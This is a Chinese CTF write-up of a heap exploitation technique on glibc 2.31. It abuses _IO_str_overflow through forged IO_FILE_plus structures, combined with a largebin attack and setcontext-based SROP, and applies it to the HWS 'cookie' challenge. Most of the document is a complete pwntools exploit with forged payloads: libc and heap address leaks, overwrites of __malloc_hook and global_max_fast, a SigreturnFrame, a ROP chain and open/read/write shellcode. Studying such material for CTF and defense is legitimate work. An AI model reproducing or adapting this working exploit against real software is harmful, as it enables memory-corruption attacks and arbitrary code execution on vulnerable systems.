前言
原文链接：cnitlrt
攻击原理：
在以前版本的IO_FILE攻击普遍上采用的是劫持IO函数的_chain字段为伪造的IO_FILE_plus然后进行利用，其中伪造的IO_FILE_plus的vtable一般是io_str_jmps，而新版本的IO_FILE攻击也不例外，首先我们看一下libc2.32上的io_str_overflow函数
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, ' ', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
可以看到程序里面有malloc,memcpy,free等函数，并且参数我们都可以控制因此可以利用这一点来进行非预期的堆块申请释放和填充,而且我们看一下IO_str_overflow的汇编代码可以看到一个有意思的位置：
0x7ffff7e6eb20 <__GI__IO_str_overflow>: repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]
可以看到在调用malloc之前的0x7ffff7e6eb55位置rdx被赋值为[rdi+0x28],而此时的rdi恰好指向我们伪造的IO_FILE_plus的头部，而在glibc2.29的版本上setcontext的利用从以前的rdi变为了rdx，因此我们可以通过这个位置来进行新版下的setcontext,进而实现srop,具体做法是利用非预期地址填充将malloc_hook填充为setcontext，这样在我们进入io_str_overflow时首先会将rdx赋值为我们可以控制的地址，然后在后面malloc的时候会触发setcontext，而此时rdx已经可控，因此就可以成功实现srop
综上可知参数对应关系为：
_flags = 0
_IO_write_ptr = 用于srop的地址（此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base）
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base ) + 100)
memcpy(new_buf，_IO_buf_base，_IO_buf_end - _IO_buf_base)
free(_IO_buf_base)
glibc2.30下的largebin attrack
首先看一下源码
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
可以看到在将unsortedbin放入largbin的时候，程序在unsortedbin size > largbin size的时候加了一个检查
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
而这个位置正是我们平时常用的位置，但是同时可以看到在size小于的时候没有加这个检查，因此我们可以通过这一点来进行glibc2.30下的largebin attrack,具体做法是首先在largbin中添加一个堆块，同时释放一个比它小并且在同意index的堆块进unsortedbin,改变largbin的bk_nextsize为targetaddr-0x20,然后我们申请一个free之后可以放入unsortedbin的堆块,这是会将unsortedbin放入largbin,并执行下面的流程
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
而largbin->_bk_nexsize已经被劫持成了targetaddr-0x20了，因此会像targetaddr-0x20->fd_nextsize写入largbin堆块的值，即向targetaddr写入堆地址，然后我们free我们申请的这个堆块的时候就会和剩下的unsortedbin堆块合并，重新放入unsortedbin中，达到复用的效果
攻击流程
此种方法一般结合largebin attrack,因为largebin attrack可以实现任意地址填充堆地址，因此我们可以利用largebin attrack将io函数的_chain字段劫持为堆地址，然后当程序退出的时候会刷新程序流此时会进入我们伪造的io_file中实现我们的攻击,下面我们用我出的一个例题来具体体会一下该方法的威力
练习
此题为HWS - cookie，由于一些特殊原因就暂不提供附件了，师傅们可以根据分析写一个类似的题目
分析：
该题为glibc2.31,程序有add del edit show功能，在del里面有着明显的uaf漏洞，并且开了沙盒，add的时候只能申请largebin范围的堆块并且不超过0x600
利用：
我们考虑使用largebin attrack劫持stderr->_chain字段为一个堆地址并且劫持global_max_fast为堆地址用来构造chunkoverlapping,通过chunkoverlapping在0xa0的bin中留下两个堆块，其中一个是malloc_hook,然后我们利用io_file的非预期堆块申请申请到malloc_hook同时用非预期填充将malloc_hook填充为setcontext,这样在进入下一个fake IO_FILE的时候就会触发srop进而orw出flag,由此我们需要构造三个fake IO_FILE_plus，前两个用来申请到malloc_hook并且将malloc_hook填充为setcontext,最后一个用来设置rdx的值同时触发srop,
调试
我们进行简单的调试直观的看一下，首先我们通过chunkoverlapping来在0xa0的堆块中放入两个堆块，此时的bin:
然后我们看一下我们的fake IO_FILE_plus
Fake IO_FILE_plus1(malloc(0x90))
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"x00"*8 #_chain
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
可以看到第二行的两个地址差22，而通过我们的size计算可以得出size = (0x90-100)/2 = 22
执行完之后：
Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #rdx
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4 #size
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8 #chain
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
执行之后：
可以看到已经成功将malloc_hook劫持为setcontext,接下来执行第三个IO_FILE_plus就会触发srop，orw出flag
Fake IO_FILE_plus3:(srop)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: cnitlrt
import sys
import os
import re
from pwn import *
# context.log_level = 'debug'
binary = './cookie'
elf = ELF('./cookie')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = sys.argv[1]
port = sys.argv[2]
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla(">>",str(idx))
def add(size,payload):
cmd(1)
sla("Size:
",str(size))
sa("Content:
",payload)
def show(idx):
cmd(3)
sla("Index:
",str(idx))
def free(idx):
cmd(2)
sla("Index:
",str(idx))
def edit(idx,payload):
cmd(4)
sla("Index:
",str(idx))
sa("Content:
",payload)
def ss():
gdb.attach(p)
pause()
def exp():
add(0x458,"aaaa")
add(0x500,"aaaa")
add(0x468,"aaaa")
add(0x500,"aaaa")#3
add(0x500,"aaaa")#4
add(0x500,"aaaa")#5
add(0x500,"aaaa")#6
add(0x500,"aaaa")#7
add(0x500,"aaaa")#8
#leak libc_base
free(2)
show(2)
libc_base = l64()-libc.sym['__malloc_hook']-0x10-96
lg("libc_base",libc_base)
#put chunk2 into largebin
add(0x600,"aaaa")#9
#leak heap_base
edit(2,"a"*0x19)
show(2)
ru("a"*0x18)
heap_base = u64(p.recv(6).ljust(8,"x00"))-0xc61
lg("heap_base",heap_base)
#put chunk0 into unsortedbin
free(0)
#hijack stderr->_chain = chunk2
edit(2,p64(0)*3+p64(0x1ec628+libc_base-0x20))#stderr->_chain
add(0x448,"aaa")#10
free(10)
#hijack global_max_fast = chunk2
edit(2,p64(0)*3+p64(0x1eeb80+libc_base-0x20))#global_max_fast
add(0x448,"aaa")#11
#chunk overlapping
edit(3,"a"*0x40+p64(0)+p64(0x511))
edit(4,"a"*0x30+p64(0)+p64(0x21)*10)
free(3)
edit(3,p64(heap_base+0x10c0))
add(0x500,"aaa")
add(0x500,"ddd")#13
edit(4,"a"*0x90+p64(0)+p64(0x471))
edit(13,"a"*0x4b0+p64(0)+p64(0xa1))
#fastbin attrack
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
free(4)
edit(4,p64(libc.sym["__malloc_hook"]+libc_base-0x10)+p64(0))
"""
tcachebins
0xa0 [ 2]: 0x56074fb96590 —▸ 0x7f116d446b60 (__memalign_hook) —▸ 0x7f116d2f8570 (memalign_hook_ini) ◂— ...
fastbins
"""
payload = p64(0x580dd+libc_base)+p64(0x21) #setcontext
edit(0,payload*50)
#malloc(0x90)
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x10+0x290)+p64(heap_base+22+0x10+0x290)+p64(0)*4
payload += p64(heap_base+0x1a90)+p64(0)+p64(0)+"x00"*8
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
edit(2,payload)
#malloc(0x90) && set malloc_hook = setcontext
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x30+0x290)+p64(heap_base+22+0x30+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
edit(5,payload)
#trigger && rdx = QWORD PTR [rdi+0x28] = heap_base+0x29d0
payload = p64(0)*2+p64(0)+p64(heap_base+0x29d0)+p64(0) #write
payload += p64(heap_base+0x50+0x290)+p64(heap_base+22+0x50+0x290)+p64(0)*4
payload += p64(heap_base+0x1fa0)+p64(0)+p64(0)+"x00"*8
payload += p64(0)*4+"x00"*48
payload += p64(0x1ed560+libc_base)
edit(6,payload)
# ss()
free_hook = libc_base+libc.sym["__free_hook"]
free_hook1 = free_hook&0xfffffffffffff000
syscall = libc_base+0x0000000000066229
#fakeframe
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
edit(8,str(frame))
poprdi = 0x0000000000026b72+libc_base
poprsi = libc_base+0x0000000000027529
pop2rdx = libc_base+0x000000000011c1e1
poprax = libc_base+0x000000000004a550
#mprotect(free_hook1,0x2000,7) && orw shellcode
payload = [poprdi,free_hook1,poprsi,0x2000,pop2rdx,0x7,0]
payload += [poprax,10,syscall,free_hook1+0x58]
sc = shellcraft.open("flag",0)
sc += shellcraft.read("rax",free_hook1+0x300,0x40)
sc += shellcraft.write(1,free_hook1+0x300,0x40)
cmd(5)
p.send(flat(payload)+asm(sc))
p.interactive()
if __name__ == "__main__":
exp()
总结：
该方法我觉得作用很大，可以在一功能不够用的时候或存在限制的时候实现非预期申请释放和填充堆块，用的熟练的话可以达到意想不到的效果